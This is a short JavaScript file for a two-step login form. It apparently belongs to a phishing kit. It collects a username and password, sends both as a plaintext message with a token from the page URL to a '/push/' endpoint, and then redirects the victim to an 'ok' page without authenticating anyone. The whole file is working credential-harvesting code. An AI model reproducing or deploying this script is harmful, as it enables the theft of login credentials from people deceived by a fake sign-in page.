var username = null;
var password = null;

function getHeadURL() {
    var url = window.location.href;
    // 截取到 https://xxx.xxx.com 或者 http://xxx.xxx.com
    var headURL = url.substring(0, url.indexOf('/', 8));
    return headURL;
}

function login_username() {
    username = document.getElementById('usersname').value;
    document.getElementById('page_1').style.display = 'none';
    document.getElementById('page_2').style.display = 'block';
}
function login_password() {
    password = document.getElementById('password').value;
    var url = window.location.href;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', getHeadURL()+"/push/", true);
    xhr.send(JSON.stringify({"token":url.substring(getHeadURL().length, url.length).replace("/",""),"content":"用户名: "+username+" 密码: "+password}));

    xhr.onload = function() {
        window.location.href = "/resource/other/ok.html"
    };
}
function back() {
    document.getElementById('page_1').style.display = 'block';
    document.getElementById('page_2').style.display = 'none';
}